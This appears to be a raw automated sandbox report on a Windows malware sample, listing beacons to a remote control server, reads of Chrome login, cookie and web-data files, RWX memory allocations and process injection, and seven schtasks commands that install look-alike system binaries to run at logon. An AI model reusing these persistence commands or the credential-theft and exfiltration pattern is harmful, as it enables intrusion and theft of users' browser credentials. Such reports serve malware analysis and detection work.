request GET http://cc58476.tmweb.ru/vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&395456b66fc45ba775af61ef30811cd1=4iLu42bpRXYtJ3bm5WagIXZoR3bgcmbph2Y0VmR&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=QNwQDN2U2YiZGO2gTNyImZ5ITY4ATNiBjZ3kzYlJTYxATYwIzMzIjZ
request GET http://cc58476.tmweb.ru/vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&395456b66fc45ba775af61ef30811cd1=xMDN5QjM24SNwoDMwoDMwAiOl1Wa0BCZlNHchxWRgESZu9GR&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=QNwQDN2U2YiZGO2gTNyImZ5ITY4ATNiBjZ3kzYlJTYxATYwIzMzIjZ
request POST http://cc58476.tmweb.ru/vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ
request GET http://cc58476.tmweb.ru/vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&395456b66fc45ba775af61ef30811cd1=QM&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gMmRTOxQTNjRDZ3YWNkZmM2Y2NkZ2MyEWM1MWNzQDN3AjNkFTN4gDO
request GET https://ipinfo.io/json
request POST http://cc58476.tmweb.ru/vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2216
region_size: 851968
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00660000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2216
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006f0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2216
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72741000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2216
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72742000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2216
region_size: 720896
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f60000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2216
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fd0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2216
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006b2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2216
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006e5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2216
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006eb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2216
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006e7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2216
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006cc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2216
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00810000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2216
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006ba000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2216
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006da000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2216
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006d7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2216
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006ca000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2216
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00811000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2216
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72142000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2216
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006d6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2216
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00812000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2216
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00813000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2216
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00814000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2216
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00815000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2216
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00816000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2216
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00817000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2216
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00818000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2216
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00819000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2216
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0081a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2216
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0081b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2216
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0081c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2216
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0081d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2216
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0081e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2572
region_size: 1769472
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00900000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2572
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00a70000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2572
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x720a1000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2572
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x720a2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2572
region_size: 589824
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00790000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2572
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x007e0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2572
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005e2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2572
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005fc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2572
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00960000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2572
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00615000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2572
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0061b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2572
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00617000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2572
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00606000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2572
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0060a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2572
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00607000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2572
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005ea000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2572
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00961000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2572
region_size: 327680
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef50000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Web Data
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Web Data-journal
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Cookies-journal
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Safe Browsing Cookies-journal
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Safe Browsing Cookies
domain ipinfo.io
cmdline "schtasks" /create /tn "lsm" /sc ONLOGON /tr "'C:\Windows\System32\ntkrnlpa\lsm.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "SearchFilterHost" /sc ONLOGON /tr "'C:\Sandbox\test22\DefaultBox\SearchFilterHost.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "taskhost" /sc ONLOGON /tr "'C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\taskhost.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "wininit" /sc ONLOGON /tr "'C:\Windows\System32\modemui\wininit.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "winlogon" /sc ONLOGON /tr "'C:\ProgramData\Application Data\winlogon.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "pw" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90120000-001A-0412-0000-0000000FF1CE}-C\pw.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "lsass" /sc ONLOGON /tr "'C:\Windows\System32\credui\lsass.exe'" /rl HIGHEST /f
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 732
thread_handle: 0x00000390
process_identifier: 1468
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "schtasks" /create /tn "lsm" /sc ONLOGON /tr "'C:\Windows\System32\ntkrnlpa\lsm.exe'" /rl HIGHEST /f
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x00000398
1 1 0

CreateProcessInternalW

 thread_identifier: 1972
thread_handle: 0x00000390
process_identifier: 540
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "schtasks" /create /tn "taskhost" /sc ONLOGON /tr "'C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\taskhost.exe'" /rl HIGHEST /f
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x0000039c
1 1 0

CreateProcessInternalW

 thread_identifier: 2056
thread_handle: 0x000003a8
process_identifier: 2252
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "schtasks" /create /tn "wininit" /sc ONLOGON /tr "'C:\Windows\System32\modemui\wininit.exe'" /rl HIGHEST /f
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x000003ac
1 1 0

CreateProcessInternalW

 thread_identifier: 1080
thread_handle: 0x000003a8
process_identifier: 2220
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "schtasks" /create /tn "pw" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90120000-001A-0412-0000-0000000FF1CE}-C\pw.exe'" /rl HIGHEST /f
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x000003b0
1 1 0

CreateProcessInternalW

 thread_identifier: 2740
thread_handle: 0x000003a8
process_identifier: 2768
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "schtasks" /create /tn "SearchFilterHost" /sc ONLOGON /tr "'C:\Sandbox\test22\DefaultBox\SearchFilterHost.exe'" /rl HIGHEST /f
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x000003b8
1 1 0

CreateProcessInternalW

 thread_identifier: 2328
thread_handle: 0x000003a8
process_identifier: 1472
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "schtasks" /create /tn "winlogon" /sc ONLOGON /tr "'C:\ProgramData\Application Data\winlogon.exe'" /rl HIGHEST /f
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x000003c0
1 1 0

CreateProcessInternalW

 thread_identifier: 1476
thread_handle: 0x000003cc
process_identifier: 1492
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "schtasks" /create /tn "lsass" /sc ONLOGON /tr "'C:\Windows\System32\credui\lsass.exe'" /rl HIGHEST /f
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x000003d0
1 1 0

CreateProcessInternalW

 thread_identifier: 1048
thread_handle: 0x000003cc
process_identifier: 1812
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "C:\Windows\System32\credui\lsass.exe"
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x000003d8
1 1 0
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
section {u'size_of_data': u'0x000a2200', u'virtual_address': u'0x00002000', u'entropy': 7.880110596134168, u'name': u'.text', u'virtual_size': u'0x000a20f4'} entropy 7.88011059613 description A section with a high entropy has been found
section {u'size_of_data': u'0x000b2000', u'virtual_address': u'0x000a6000', u'entropy': 6.950448991297877, u'name': u'.rsrc', u'virtual_size': u'0x000b1fa0'} entropy 6.9504489913 description A section with a high entropy has been found
entropy 0.999632623071 description Overall entropy of this PE file is high
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description Listen for incoming communication rule network_tcp_listen
description Run a keylogger rule keylogger
description Record Audio rule sniff_audio
description Affect private profile rule win_files_operation
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
description Affect hook table rule win_hook
description Listen for incoming communication rule network_tcp_listen
description Run a keylogger rule keylogger
description Record Audio rule sniff_audio
description Affect private profile rule win_files_operation
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
description Affect hook table rule win_hook
Time & API Arguments Status Return Repeated

NtTerminateProcess

 status_code: 0xffffffff
process_identifier: 1224
process_handle: 0x0000028c
0 0

NtTerminateProcess

 status_code: 0xffffffff
process_identifier: 1224
process_handle: 0x0000028c
1 0 0

NtTerminateProcess

 status_code: 0xffffffff
process_identifier: 1348
process_handle: 0x00000298
0 0

NtTerminateProcess

 status_code: 0xffffffff
process_identifier: 1348
process_handle: 0x00000298
1 0 0

NtTerminateProcess

 status_code: 0xffffffff
process_identifier: 2084
process_handle: 0x000002a0
0 0

NtTerminateProcess

 status_code: 0xffffffff
process_identifier: 2084
process_handle: 0x000002a0
1 0 0
cmdline "schtasks" /create /tn "lsm" /sc ONLOGON /tr "'C:\Windows\System32\ntkrnlpa\lsm.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "SearchFilterHost" /sc ONLOGON /tr "'C:\Sandbox\test22\DefaultBox\SearchFilterHost.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "taskhost" /sc ONLOGON /tr "'C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\taskhost.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "wininit" /sc ONLOGON /tr "'C:\Windows\System32\modemui\wininit.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "winlogon" /sc ONLOGON /tr "'C:\ProgramData\Application Data\winlogon.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "pw" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90120000-001A-0412-0000-0000000FF1CE}-C\pw.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "lsass" /sc ONLOGON /tr "'C:\Windows\System32\credui\lsass.exe'" /rl HIGHEST /f
wmi SELECT * FROM Win32_Processor
wmi SELECT * FROM Win32_BIOS
wmi Select * From Win32_ComputerSystem
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2572
region_size: 434176
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000274
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1224
region_size: 434176
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000274
3221225496 0

NtAllocateVirtualMemory

 process_identifier: 1348
region_size: 434176
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000290
3221225496 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 434176
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000294
3221225496 0

NtAllocateVirtualMemory

 process_identifier: 1304
region_size: 434176
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x0000029c
1 0 0
Time & API Arguments Status Return Repeated

NtQuerySystemInformation

